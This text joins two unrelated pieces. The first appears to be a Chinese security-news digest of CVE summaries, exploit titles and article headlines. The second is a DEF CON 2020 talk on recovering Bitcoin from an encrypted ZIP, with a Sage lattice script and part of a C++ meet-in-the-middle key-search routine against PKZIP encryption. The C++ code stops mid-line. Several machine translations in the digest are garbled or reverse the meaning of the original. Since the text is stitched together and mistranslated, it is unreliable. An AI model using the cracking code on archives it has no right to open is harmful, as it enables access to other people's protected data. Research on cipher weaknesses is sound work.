在个⼈资料⻚⾯中存储 XSS [hackone] Information disclosure on error message 影响⼚商:PortSwigger Web Security(https://hackerone.com/portswigger) 错误信息的信息披露 [hackone] CVE-2021-40870 in [███] 影响⼚商:Informatica 奖励: 危险等级:critical (美国)《科学院院刊》第2021-40870号刊载于《科学院院刊》 [《科学院院刊》] [hackone] Possible to steal any protected files on Android 影响⼚商:ownCloud 奖励:750.0USD 危险等级:medium 可能窃取任何安卓上的受保护⽂件 [hackone] CVE-2021-40870 in [] 影响⼚商:Informatica(https://hackerone.com/informatica) []的 CVE-2021-40870 漏洞监测 [Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Insufficient Access Control Vulnerability exploit [Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Filename Bypass Vulnerability exploit [Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 Authentication Bypass Vulnerability exploit [Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 SQL Injection Vulnerability exploit [Sploitus Exploit] Pentaho Business Analytics / Pentaho Business Server 9.1 User Enumeration Vulnerability exploit [Sploitus Exploit] IBM Sterling B2B Integrator Cross Site Scripting Vulnerability exploit [Sploitus Exploit] HealthForYou 1.11.1 / HealthCoach 2.9.2 Missing Password Policy Vulnerability exploit [Sploitus Exploit] ImportExportTools NG 10.0.4 - HTML Injection Vulnerability exploit [Sploitus Exploit] PHP Event Calendar Lite Edition Cross Site Scripting Vulnerability exploit [Sploitus Exploit] Exploit for CVE-2021-40346 exploit [Sploitus Exploit] Backdoor.Win32.Hupigon.nqr Unauthenticated Open Proxy exploit [Sploitus Exploit] Trojan.Win32.SkynetRef.y Unauthenticated Open Proxy exploit [Sploitus Exploit] Trojan.Win32.Servstar.poa Unquoted Service Path exploit [Sploitus Exploit] FusionPBX 4.5.29 Remote Code Execution exploit [Sploitus Exploit] Kmaleon 1.1.0.205 - (tipocomb) SQL Injection Vulnerability exploit [Sploitus Exploit] FusionPBX 4.5.29 - Remote Code Execution (Authenticated) Exploit exploit [Sploitus Exploit] Moodle Cross Site Scripting / Server-Side Request Forgery Vulnerabilities exploit [知名组件CVE监控] CVE-2021-24806 有新的漏洞组件被发现啦,组件ID:Discuz The wpDiscuz WordPress plugin before 7.3.4 does check for CSRF when adding, editing and deleting comments, which could allow attacker to make logged in users such as admin edit and delete arbitrary comment, or the user who made the comment to edit it via a CSRF attack. Attackers could also make logged in users post arbitrary comment. 7.3.4之前的 wpDiscuz WordPress 插件在添加、编辑和删除评论时会检查 CSRF,这可以让攻击者登录⽤户,如管 理员编辑和删除任意评论,或者⽤户通过 CSRF 攻击编辑评论。攻击者还可以让登录的⽤户发布任意的评论。 [最新CVE] CVE-2021-28022 Blind SQL injection in the login form in ServiceTonic Helpdesk software < 9.0.35937 allows attacker to exfiltrate information via specially crafted HQL-compatible time-based SQL queries. 在 ServiceTonic Helpdesk 软件 < 9.0.35937的登录表单中,盲⽬的 SQL 注⼊允许攻击者通过特制的与 hl 兼容的 基于时间的 SQL 查询来过滤信息。 [最新CVE] CVE-2021-24835 The WCFM – Frontend Manager for WooCommerce along with Bookings Subscription Listings Compatible WordPress plugin before 6.5.12, when used in combination with another WCFM - WooCommerce Multivendor plugin such as WCFM - WooCommerce Multivendor Marketplace, does not escape the withdrawal_vendor parameter before using it in a SQL statement, allowing low privilege users such as Subscribers to perform SQL injection attacks 当与另⼀个 WCFM-WooCommerce 多⼚商插件(如 WCFM-WooCommerce 多⼚商市场)结合使⽤时,前端管理器 WooCommerce 和预订订阅列表兼容 WordPress 6.5.12之前的插件(如 WCFM-WooCommerce 多⼚商市场)在 SQL 语句中使⽤ withdrawal _ vendor 参数之前⽆法逃脱该参数,允许订阅者等低特权⽤户执⾏ SQL 注⼊攻击 [最新CVE] CVE-2021-24827 The Asgaros Forum WordPress plugin before 1.15.13 does not validate and escape user input when subscribing to a topic before using it in a SQL statement, leading to an unauthenticated SQL injection issue 1.15.13之前的 Asgaros 论坛 WordPress 插件在 SQL 语句中使⽤某个主题之前,订阅该主题时⽆法验证和转义⽤ 户输⼊,导致未经验证的 SQL 注⼊问题 [最新CVE] CVE-2021-24766 The 404 to 301 – Redirect, Log and Notify 404 Errors WordPress plugin before 3.0.9 does not have CSRF check in place when cleaning the logs, which could allow attacker to make a logged in admin delete all of them via a CSRF attack 在3.0.9之前的404 to 301 & # 8211; Redirect,Log and Notify 404 Errors WordPress plugin before 3.0.9 does not have CSRF check in place when cleaning The logs,which could allow attack to make a logged in admin delete all of them via a CSRF attack [最新CVE] CVE-2020-23572 BEESCMS v4.0 was discovered to contain an arbitrary file upload vulnerability via the component /admin/upload.php. This vulnerability allows attackers to execute arbitrary code via a crafted image file. BEESCMS v4.0被发现包含通过 component/admin/upload.php 上传的任意⽂件漏洞。该漏洞允许攻击者通过精 ⼼制作的图像⽂件执⾏任意代码。 [知名组件CVE监控] CVE-2021-41349 有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-42305. [知名组件CVE监控] CVE-2021-42305 有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-41349. Microsoftexchangeserver 欺骗漏洞此 CVE ID 是 CVE-2021-41349中唯⼀的。 [知名组件CVE监控] CVE-2021-42321 有新的漏洞组件被发现啦,组件ID:Microsoft Exchange Microsoft Exchange Server Remote Code Execution Vulnerability Microsoftexchangeserver 远程代码执⾏漏洞 [知名组件CVE监控] CVE-2021-43196 有新的漏洞组件被发现啦,组件ID:Docker In JetBrains TeamCity before 2021.1, information disclosure via the Docker Registry connection dialog is possible. 在2021.1之前的 JetBrains TeamCity 中,通过 Docker Registry 连接对话框进⾏信息披露是可能的。 [最新CVE] CVE-2021-43186 JetBrains YouTrack before 2021.3.24402 is vulnerable to stored XSS. 2021.3.24402之前的 JetBrains YouTrack 容易受到存储的 XSS 的攻击。 [最新CVE] CVE-2021-41349 Microsoft Exchange Server Spoofing Vulnerability This CVE ID is unique from CVE-2021-42305. [最新CVE] CVE-2021-38666 Remote Desktop Client Remote Code Execution Vulnerability 远程桌⾯客户端远程代码执⾏漏洞 [Sploitus Exploit] Exploit for CVE-2021-42292 exploit [Sploitus Exploit] Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation Exploit exploit [Sploitus Exploit] Microsoft OMI Management Interface Authentication Bypass Exploit exploit [Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Remote Code Execution Vulnerability exploit [Sploitus Exploit] Employee Daily Task Management System 1.0 - (Name) Stored Cross-Site Scripting Vulnerability exploit [Sploitus Exploit] Employee and Visitor Gate Pass Logging System 1.0 - (name) Stored Cross-Site Scripting Vulnerability exploit [Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Cross Site Scripting Vulnerability exploit [Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Cross Site Scripting exploit [Sploitus Exploit] Employee And Visitor Gate Pass Logging System 1.0 Cross Site Scripting exploit [Sploitus Exploit] Dolibarr ERP / CRM 13.0.2 Remote Code Execution exploit [Sploitus Exploit] Employee Daily Task Management System 1.0 Cross Site Scripting exploit [Sploitus Exploit] Microsoft OMI Management Interface Authentication Bypass exploit [Sploitus Exploit] Win32k NtGdiResetDC Use-After-Free / Local Privilege Escalation exploit [知名组件CVE监控] 泛微e-cology存在SQL注⼊漏洞(CNVD-2021-73908) 有新的漏洞组件被发现啦,组件ID:泛微 [Sploitus Exploit] Win32k NtGdiResetDC Use After Free Local Privilege Elevation exploit [知名组件CVE监控] CVE-2021-40504 有新的漏洞组件被发现啦,组件ID:SAP NetWeaver A certain template role in SAP NetWeaver Application Server for ABAP and ABAP Platform - versions 700, 701, 702, 710, 711, 730, 731, 740, 750, 751, 752, 753, 754, 755, 756, contains transport authorizations, which exceed expected display only permissions. 在 ABAP 和 ABAP 平台 SAP Web应⽤服务器中的某个模板⻆⾊包含传输授权,这些授权超过了预期的显示权限。 [最新CVE] CVE-2021-41427 Beeline Smart Box 2.0.38 is vulnerable to Cross Site Scripting (XSS) via the choose_mac parameter to setup.cgi. Beeline Smart Box 2.0.38通过 choose mac 参数 setup.cgi 易受跨⽹站脚本攻击(XSS)。 [Sploitus Exploit] Exploit for Incorrect Authorization in Microsoft exploit [知名组件CVE监控] CVE-2021-26558 有新的漏洞组件被发现啦,组件ID:Apache Deserialization of Untrusted Data vulnerability of Apache ShardingSphere-UI allows an attacker to inject outer link resources. This issue affects Apache ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1 and later versions; Apache ShardingSphere-UI versions prior to 5.0.0. Apache ShardingSphere-UI 不可信数据漏洞的反序列化允许攻击者注⼊外部链接资源。这个问题影响到 Apache ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1和更⾼版本; 5.0.0之前的 Apache ShardingSphere-UI 版本。 [知名组件CVE监控] CVE-2021-43350 有新的漏洞组件被发现啦,组件ID:Apache An unauthenticated Apache Traffic Control Traffic Ops user can send a request with a specially-crafted username to the POST /login endpoint of any API version to inject unsanitized content into the LDAP filter. 未经身份验证的 Apache Traffic Control Ops ⽤户可以向任何 API 版本的 POST/login 端点发送⼀个带有特殊⽤户 名的请求,将未经过净化的内容注⼊到 LDAP 过滤器中。 [最新CVE] CVE-2021-43350 An unauthenticated Apache Traffic Control Traffic Ops user can send a request with a specially-crafted username to the POST /login endpoint of any API version to inject unsanitized content into the LDAP filter. 未经身份验证的 Apache Traffic Control Ops ⽤户可以向任何 API 版本的 POST/login 端点发送⼀个带有特殊⽤户 名的请求,将未经过净化的内容注⼊到 LDAP 过滤器中。 [最新CVE] CVE-2021-26558 Deserialization of Untrusted Data vulnerability of Apache ShardingSphere-UI allows an attacker to inject outer link resources. This issue affects Apache ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1 and later versions; Apache ShardingSphere-UI versions prior to 5.0.0. Apache ShardingSphere-UI 不可信数据漏洞的反序列化允许攻击者注⼊外部链接资源。这个问题影响到 Apache ShardingSphere-UI Apache ShardingSphere-UI version 4.1.1和更⾼版本; 5.0.0之前的 Apache ShardingSphere-UI 版本。 [知名组件CVE监控] CVE-2021-21699 有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Active Choices Plugin 2.5.6 and earlier does not escape the parameter name of reactive parameters and dynamic reference parameters, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Job/Configure permission. Jenkins Active Choices Plugin 2.5.6及更早版本没有逃脱 reactive 参数和动态引⽤参数的参数名称,导致存储的跨 ⽹站脚本/配置漏洞被具有 Job/Configure 权限的攻击者利⽤。 [知名组件CVE监控] CVE-2021-21700 有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Scriptler Plugin 3.3 and earlier does not escape the name of scripts on the UI when asking to confirm their deletion, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by exploitable by attackers able to create Scriptler scripts. Jenkins Scriptler Plugin 3.3和更早版本在请求确认删除脚本时,没有回避 UI 上脚本的名称,导致存储的跨⽹站脚 本/脚本漏洞被攻击者利⽤,攻击者可以创建 Scriptler 脚本。 [知名组件CVE监控] CVE-2021-21701 有新的漏洞组件被发现啦,组件ID:Jenkins Jenkins Performance Plugin 3.20 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks. Jenkins Performance Plugin 3.20和更早版本没有配置 XML 解析器以防⽌ XML 外部实体(XXE)攻击。 [知名组件CVE监控] CVE-2021-3945 有新的漏洞组件被发现啦,组件ID:Django django-helpdesk is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Django-helpdesk 在⽹⻚⽣成过程中容易受到不当中和输⼊的影响(“跨⽹站脚本”) [exploit-db] [webapps] Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) [exploit-db] [webapps] WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated) WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated) [exploit-db] [webapps] PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) [Sploitus Exploit] KONGA 0.14.9 - Privilege Escalation exploit [Sploitus Exploit] Simple Subscription Website 1.0 - SQLi Authentication Bypass exploit [Sploitus Exploit] WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated) exploit [Sploitus Exploit] Fuel CMS 1.4.13 - 'col' Blind SQL Injection (Authenticated) exploit [Sploitus Exploit] WordPress Plugin WPSchoolPress 2.1.16 - 'Multiple' Cross Site Scripting (XSS) exploit [Sploitus Exploit] PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF) exploit 微信公众号 [微信公众号] 2021看雪SDC议题回顾 | SaTC:⼀种全新的物联⽹设备漏洞⾃动化挖掘⽅法 2021 SDC议题回顾:SaTC:⼀种全新的物联⽹设备漏洞⾃动化挖掘⽅法 [微信公众号] 新未来·新⽣态·新图谱,2021“⽹络安全创新能⼒百强评选”报名开启 欢迎各⼤⼚商登录创新百强评选官⽹或者下载ISC APP,⽕速报名! [微信公众号] 700万客户信息泄露,证券交易平台罗宾汉遭⼊侵 零佣⾦证券交易平台Robinhood于11⽉8⽇发布博⽂称,在11⽉3⽇平台遭到⿊客⼊侵,约有700万客户的个 ⼈信息被泄露。 [微信公众号] 物联⽹安全漏洞实战,全⽅位解析IoT安全! 全⽅位解析IoT安全,实战技巧收⼊囊中! [微信公众号] 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击 与巴基斯坦窃取KAVACH信息针锋相对,仿冒VPN窃取登录凭证 [微信公众号] Android应⽤攻与防 加固与反加固 [微信公众号] 2021 SDC | 圆桌会谈-业内⼤咖⻬聚,共话新安全 5位业内⼤咖深⼊探讨当前⾯临的⽹络安全新挑战,畅谈未来安全⾏业发展趋势。 [微信公众号] 倒计时20天 | CIS2021⽹络安全创新⼤会期待与您相聚 是时候来和我们⼀起交流交流今年热议的话题和关键词,⼀起“刷新认知,安全⽣⻓”。 [微信公众号] 调查显示,77%的Rootkit⽤于间谍⽬的 全球⽹络安全公司Positive Technologies发布了⼀份新的调查报告,对过去10年臭名昭著的恶意软件—— Rootkit进⾏了详尽分析。 [微信公众号] 德国医疗软件巨头遭遇勒索攻击,⽤户数据存在泄露⻛险 11⽉10⽇,Bleeping Computer⽹站披露,德国医疗软件巨头Medatixx遭遇了勒索攻击。 [微信公众号] In0ri:基于深度学习的⽹站内容污染检测系统 In0ri是⼀个内容污染检测系统,该⼯具主要利⽤⼀个图像分类卷积神经⽹络实现其功能。 [doonsec] [Qingy之安全] 红队攻击-绕过waf以及IDS等流量设备 点击蓝字关注我哦前⾔2021年了,现在渗透的越来越难了,刚打的shell,过⼀会就没了,现在的流量设备, [doonsec] [橘猫学安全] ⼲货|Windows提权⽅法汇总 [doonsec] [鸿鹄实验室] powershell免杀抓密码姿势 前⾔:今天给⼤家分享两个利⽤powershell来bypass杀软抓密码技巧,亲测⽬前不杀。注:本号⾸发在了 [doonsec] [系统安全运维] 使⽤Sqlmap的你可能踩中了“蜜罐” [doonsec] [LemonSec] TCP/IP协议竟然有这么多漏洞? [doonsec] [⿊⽩之道] Linux 实时查看⽇志⽂件的 4 种⽅法 [doonsec] [⿊⽩之道] SQL⼿⼯注⼊总结 必须收藏 [doonsec] [猪猪谈安全] SRC漏洞挖掘-从零到1的历程记录 差不多从⼀个⽉之前开始尝试挖洞,因为有HR问过我挖没挖过SRC,让我很在意,所以就加⼊了挖SRC的⾏ 列。1. [doonsec] [⽹络侦查研究院] 如何使⽤PS2EXE将PowerShell脚本编译为可执⾏程序 PS2EXE是⼀个可以将PowerShell脚本编译为可执⾏程序的模块 [doonsec] [阿乐你好] 内⽹渗透 | 2. Windows Powershell⼊⻔ 0x01 前⾔根据《内⽹安全攻防:渗透测试实战指南》⽬录进⾏写笔记和巩固基础。0x02 介绍Windows [doonsec] [阿乐你好] 相煎何急,印APT组织蔓灵花针对巴基斯坦政府机构展开定向攻击 1概述近期,微步在线发现⼀起蔓灵花组织针对巴基斯坦电信管理局的攻击活动,经过快速分析,得到如下 结论:攻击者使 [微信公众号] 来得及!今晚搭上双11的末班⻋ 还在等什么?即刻购! [微信公众号] 由2021ByteCTF引出的intent重定向浅析 看雪论坛作者ID:Forgo7ten [微信公众号] 美国犹他州议会拨款500万美元培养⽹安⼈才 美国犹太州议会向两所⼤学拨款500万美元,与科技巨头合作培养⽹络安全相关领域的⾼技术⼈才。 [微信公众号] 2021 KCTF秋季赛 | 赛题背景揭晓! 新的旅程,书写⼀段属于你⾃⼰的崭新历史。 [微信公众号] Android平台⽤户⼩⼼了,新恶意软件盯上了你们的Instagram账号 ⼀种名为MasterFred的新型Android恶意软件正对Instagram 、Netflix和 Twitter⽤户构成威胁,它通过创 建虚假登录界⾯来窃取⽤户账号信息。 [微信公众号] 国际联合执法“旋⻛⾏动”盯上了Clop 勒索软件团伙 近⽇,国际刑警组织宣布,在代号为“旋⻛⾏动”的国际联合执法⾏动中,成功逮捕六名参与Clop 勒索软件⾏ 动的成员。 [微信公众号] 研究发现,13个安全漏洞对⻄⻔⼦医疗设备构成威胁 研究⼈员于11⽉9⽇公布了⻄⻔⼦ Nucleus 实时操作系统 [微信公众号] JadedWraith:⼀款功能强⼤的轻量级Unix后⻔ JadedWraith是⼀款功能强⼤的轻量级Unix后⻔,仅供研究及教育⽬的使⽤。 [doonsec] [橘猫学安全] ⼀次简单的内⽹渗透靶场实战 [doonsec] [⽹络侦查研究院] 全⽹最详细CVE-2014-0502 Adobe Flash Player双重释放漏洞分析 ---全国情报实战侦查⼈员都在关注的公众号---- [doonsec] [分布式实验室] 容器环境红队⼿法总结 Gartner在近期发布的《Kubernetes安全防护指导框架》中给出Kubernetes安全的8个攻击⾯,本⽂针对其 中常⻅的红队攻击⼿法进⾏了复现与总结。 [doonsec] [系统安全运维] Linux 提权总结 [doonsec] [HACK之道] ⼲货|getshell学习总结 建议收藏 [doonsec] [⿊⽩之道] ⽹站如何防⽌CSRF攻击 [微信公众号] 字节流与UUID的互转的Python实现 在windbg调试中遭遇字节流与UUID的互转 [微信公众号] CVE-2021-22048: VMware vCenter Server 权限提升漏洞通告 CVE-2021-22048: VMware vCenter Server 权限提升漏洞通告 [微信公众号] 安全⽇报(2021.11.12) 安全⽇报(2021.11.12) [微信公众号] 【安全⻛险通告】VMware vCenter Server权限提升漏洞安全⻛险通告 奇安信CERT致⼒于第⼀时间为企业级⽤户提供安全⻛险通告和有效解决⽅案。⻛险通告近⽇,奇安信CERT 监测到V [微信公众号] 【补丁库更新】奇安信集团2021年11⽉补丁库更新通告第⼀次更新 奇安信集团漏洞补丁运营团队⽂档信息奇安信集团最新补丁库(V6版本:2021.11.10.1)已发布,本次更新 [微信公众号] 分享⼀个基本不可能被检测到的hook⽅案 看雪论坛作者ID:梦野间 [微信公众号] 700万美元诈骗,美司法部判处俄罗斯男⼦⼗年监禁 11⽉10⽇,俄罗斯男⼦因电信诈骗罪与洗钱罪被美国司法部判处⼗年有期徒刑,诈骗⾦额超700万美元。 [微信公众号] Linux平台漏洞分析、利⽤和挖掘,挖到属于⾃⼰的漏洞! ?学完你也能挖到属于⾃⼰的漏洞! [微信公众号] 看雪招聘|冬天来了,你也来吗? 来看雪招聘,这⾥聚合了全⽹最优质的⽹络安全⾏业相关职位,更专业更省⼼! [微信公众号] 巴纳⽐·杰克:让科幻电影变成现实 他有个未完成的演讲,主题是《⼊侵⼈体》 [微信公众号] 360⼤数据安全能⼒框架正式发布!安全资讯,⼀⽹打尽! 安全资讯,⼀⽹打尽! [doonsec] [⽹络侦查研究院] 【⼲货】基础免杀⼿法暴⻛吸⼊ ”免杀⼀般都是靠组合拳” [doonsec] [⿊⽩之道] 实战 | 记⼀次诡异的⽹站篡改应急响应 [doonsec] [我不是Hacker] CVE-2019-0604分析及武器化 漏洞简介 该漏洞可造成Windows系统服务器的远程命令执⾏,有可能完全控制服务器。攻击者可将精⼼构造 的请 [doonsec] [鸿鹄实验室] D-Link DIR 3040 从信息泄露到 RCE 作者:OneShell@知道创宇404实验室时间:2021年7⽉26⽇7⽉中旬,Cisco Talos安全研 [doonsec] [潇湘信安] 记⼀次失败的实战渗透 内⽹渗透的过程中,⼀定要明确⽬标... [doonsec] [橘猫学安全] ⼀次内⽹渗透测试实验过程 [doonsec] [南街⽼友] Mysql注⼊-Bypass啊理芸 dzt [微信公众号] ⾼研班11⽉试题新鲜出炉!欢迎⼤家踊跃尝试,挑战⾃⼰! ⾼研班⽹课已开放报名!报名即送⼿机、硬盘! [微信公众号] 详细分析CVE-2021-40444远程命令执⾏漏洞 看雪论坛作者ID:LarryS [微信公众号] 倒计时1天!2021 KCTF秋季赛⽕热来袭!⽆需报名,直接开战! 和你的CTF团队⼀起拿下⽐分吧! [微信公众号] 安全威胁情报周报(11.08-11.14) Lazarus使⽤IDA Pro7.5展开攻击、Lazarus⼩号疑似被暴露、 0day、美国国防承包商遭到攻击、 Twitter....... [微信公众号] 年轻时曾经也是朵花? 年轻时曾经也是朵花? [doonsec] [橘猫学安全] 从前端信息泄露进⾏漏洞挖掘 [微信公众号] 今天中午12点,看雪·众安 2021 KCTF秋季赛挑战开启,书写你的传奇故事! 12:00正式开赛啦!快来书写属于你⾃⼰的传奇故事~ [微信公众号] Android APP漏洞之战——权限安全和安全配置漏洞详解 看雪论坛作者ID:随⻛⽽⾏aa [微信公众号] 看雪讲师招募 | 虚位以待,只等你来! 看雪为你提供“舞台”,你只需“上演”精彩! [doonsec] [⻉塔安全实验室] Windows应急响应 ⽂章⾸发于:奇安信攻防社区https://forum.butian.net/share/806前⾔当企业发⽣ [doonsec] [合天⽹安实验室] Apache中间件渗透总结 [微信公众号] CVE-2020-27986: SonarQube 未授权访问漏洞在野利⽤通告 CVE-2020-27986: SonarQube 未授权访问漏洞在野利⽤通告 [微信公众号] Hadoop Yarn RPC未授权访问漏洞通告 Hadoop Yarn RPC未授权访问漏洞通告 [微信公众号] 安全⽇报(2021.11.15) 安全⽇报(2021.11.15) [微信公众号] 关于CIS 2021⽹络安全创新⼤会延期举办的通知 原定于 2021年12⽉1⽇⾄12⽉2⽇在上海宝华万豪酒店举办的「CIS2021⽹络安全创新⼤会」将延期⾄2022 年春天举办,并全⾯升级为「CIS 2021 Spring·春⽇版」。 [微信公众号] FBI被⿊客攻击,对外发送⼤量虚假警告邮件 FBI的电⼦邮件服务器遭到了⿊客攻击,对外发送了⼤量虚假警告邮件,称收件⼈的⽹络已被⿊客⼊侵。 [微信公众号] macOS曝出零⽇漏洞,有攻击者借此针对中⽂⽤户 ⾕歌安全⼈员指出,这是⼀种典型的⽔坑攻击,攻击者根据访问者的个⼈资料选择要攻陷的⽹站,其攻击对 象是 Mac 和 iPhone ⽤户。 [微信公众号] Web-Hacking-ToolKit:⼀款带有GUI的Web安全测试Docker镜像 Web-Hacking-ToolKit以Docker镜像的形式使⽤,并且带有完整的图形化⽤户界⾯⽀持。 [微信公众号] 【安全⻛险通告】SonarQube远程信息泄露漏洞安全⻛险通告 奇安信CERT致⼒于第⼀时间为企业级⽤户提供安全⻛险通告和有效解决⽅案。⻛险通告安全⻛险通告此次更 新新增内容 [微信公众号] 【安全热点周报】第220期:微软11⽉共发布55个漏洞补丁程序 全球⽹络安全⼤事件、漏洞热度排⾏、重点关注漏洞,尽在本周安全热点周报...... [微信公众号] 速⾃查!微步⽀持检测⼤规模在野利⽤的SonarQube未授权访问漏洞CVE-2020-27986 微步情报局监测到SonarQube⾼危漏洞出现⼤规模在野利⽤,并随附检测代码。
pdf
How we recovered $XXX,000 of Bitcoin from an encrypted zip file Michael Stay, PhD CTO, Pyrofex Corp. DEF CON 2020 Technion - Computer Science Department - Technical Report CS0842 - 1994 ZIP Attacks with Reduced Known Plaintext Michael Stay AccessData Corporation 2500 N. University Ave. Ste. 200 Provo, UT 84606 [email protected] Abstract. Biham and Kocher demonstrated that the PKZIP stream ci- pher was weak and presented an attack requiring thirteen bytes of plain- text. The deflate algorithm “zippers” now use to compress the plaintext before encryption makes it difficult to get known plaintext. We consi- der the problem of reducing the amount of known plaintext by finding other ways to filter key guesses. In most cases we can reduce the amo- unt of known plaintext from the archived file to two or three bytes, depending on the zipper used and the number of files in the archive. For the most popular zippers on the Internet, there is a fast attack that does not require any information about the files in the archive; instead, it gets doubly-encrypted plaintext by exploiting a weakness in the pseudorandom-number generator. 1 Introduction PKZIP is a compression / archival program created by Phil Katz. Katz had the foresight to document his file format completely in the file APPNOTE.TXT, distributed with every copy of PKZIP; there are now literally hundreds of “zip- per” programs available, and the ZIP file format has become a de facto standard on the Internet. In [BK94] Biham and Kocher demonstrated that the PKZIP stream cipher was weak and presented an attack requiring thirteen bytes of plaintext. Eight bytes of the plaintext must be contiguous, and all of the bytes must be the text that was encrypted, which is usually compressed data. [K92] shows that the compression method used at the time, implode, produces many predictable bytes suitable for mounting the attack. Most zippers available today implement only one of the compression methods defined in APPNOTE.TXT, called deflate. Deflate uses Huffman coding followed by a variant of Lempel-Ziv. Once the dictionary reaches a certain size, the process starts over. Since the Huffman codes for any of the data depend on a great deal of surrounding data, one is forced to guess the plaintext unless one has the original data. The difficulty of getting known plaintext was one reason Phil Zimmerman decided to use deflate in PGP [PGP98]. Practically speaking, if one has enough of the original file to get the thirteen bytes of plaintext required for the attack in [BK94], one has enough to break the encryption almost instantly. M. Matsui (Ed.): FSE 2001, LNCS 2355, pp. 125–134, 2002. c ⃝ Springer-Verlag Berlin Heidelberg 2002 tlcg4.sage 2020-07-31 - 1/1 - M = 2^32 c = 0x08088405 L = matrix([ [ M, 0, 0, 0], [c^1, -1, 0, 0], [c^2, 0, -1, 0], [c^3, 0, 0, -1] ]) B = L.LLL() size = 4 k10 = randint(0, M) ks = [ c^(n + 1) * k10 % M for n in range(size) ] print "ks: " print map(hex, ks) msbs = [(k & 0xff000000) for k in ks] secret = [ks[i] - msbs[i] for i in range(size)] w1 = B * vector(msbs) w2 = vector([ round(RR(w) / M) * M - w for w in w1 ]) guess = list(B.solve_right(w2)) print "guess: " # print [hex(Integer(guess[i])) for i in range(size)] print guess print "diff from msb + guess: " # print [hex(Integer(ks[i] - msbs[i] - guess[i])) for i in range(size)] print vector(ks) - vector(msbs) - vector(guess) mitm_stage1.cpp 2020-07-31 - 4/9 - } } void write_stage1_candidate_file(FILE *f, const vector<stage1_candidate> &candidates, const size_t start_idx, const size_t num) { fprintf(stderr, "write_stage1_candidate_file: writing %ld candidates " "out of %ld to file starting at index %ld.\n", num, candidates.size(), start_idx); write_word(f, num); auto end_idx = start_idx + num; for (size_t i = start_idx; i < end_idx; ++i) { write_stage1_candidate(f, candidates[i]); } } // info: the info about the archive to attack // table: vector<vector<stage1a>> table(0x01000000) void mitm_stage1a(archive_info &info, vector<vector<stage1a>> &table, correct_guess *c) { // STAGE 1 // // Guess s0, chunk2, chunk3 and carry bits. uint8_t xf0 = info.file[0].x[0]; uint8_t xf1 = info.file[1].x[0]; uint32_t extra(0); for (uint16_t s0 = 0; s0 < 0x100; ++s0) { fprintf(stderr, "%02x ", s0); if ((s0 & 0xf) == 0xf) { fprintf(stderr, "\n"); } for (uint16_t chunk2 = 0; chunk2 < 0x100; ++chunk2) { for (uint16_t chunk3 = 0; chunk3 < 0x100; ++chunk3) { for (uint8_t carries = 0; carries < 0x10; ++carries) { if (nullptr != c && s0 == c->sx[0][0] && chunk2 == c->chunk2 && chunk3 == c->chunk3 && carries == (c->carries >> 12)) { fprintf(stderr, "On correct guess.\n"); } uint8_t carryxf0 = carries & 1; uint8_t carryyf0 = (carries >> 1) & 1; uint8_t carryxf1 = (carries >> 2) & 1; uint8_t carryyf1 = (carries >> 3) & 1; uint32_t upper = 0x01000000; // exclusive uint32_t lower = 0x00000000; // inclusive mitm_stage1.cpp 2020-07-31 - 5/9 - uint32_t k0crc = chunk2; uint32_t extra = 0; uint8_t msbxf0 = first_half_step(xf0, false, chunk3, carryxf0, k0crc, extra, upper, lower); uint8_t yf0 = xf0 ^ s0; k0crc = chunk2; extra = 0; uint8_t msbyf0 = first_half_step(yf0, false, chunk3, carryyf0, k0crc, extra, upper, lower); if (upper < lower) { if (nullptr != c && s0 == c->sx[0][0] && chunk2 == c->chunk2 && chunk3 == c->chunk3 && carries == (c->carries >> 12)) { fprintf(stderr, "Failed to get correct guess: s0 = %02x, " "chunk2 = %02x, " "chunk3 = " "%02x, carries = %x\n", s0, chunk2, chunk3, carries); } continue; } k0crc = chunk2; extra = 0; uint8_t msbxf1 = first_half_step(xf1, false, chunk3, carryxf1, k0crc, extra, upper, lower); if (upper < lower) { if (nullptr != c && s0 == c->sx[0][0] && chunk2 == c->chunk2 && chunk3 == c->chunk3 && carries == (c->carries >> 12)) { fprintf(stderr, "Failed to get correct guess: s0 = %02x, " "chunk2 = %02x, " "chunk3 = " "%02x, carries = %x\n", s0, chunk2, chunk3, carries); } continue; } uint8_t yf1 = xf1 ^ s0; k0crc = chunk2; extra = 0; uint8_t msbyf1 = first_half_step(yf1, false, chunk3, carryyf1, k0crc, mitm_stage1.cpp 2020-07-31 - 6/9 - extra, upper, lower); if (upper < lower) { if (nullptr != c && s0 == c->sx[0][0] && chunk2 == c->chunk2 && chunk3 == c->chunk3 && carries == (c->carries >> 12)) { fprintf(stderr, "Failed to get correct guess: s0 = %02x, " "chunk2 = %02x, " "chunk3 = " "%02x, carries = %x\n", s0, chunk2, chunk3, carries); } continue; } uint32_t mk = 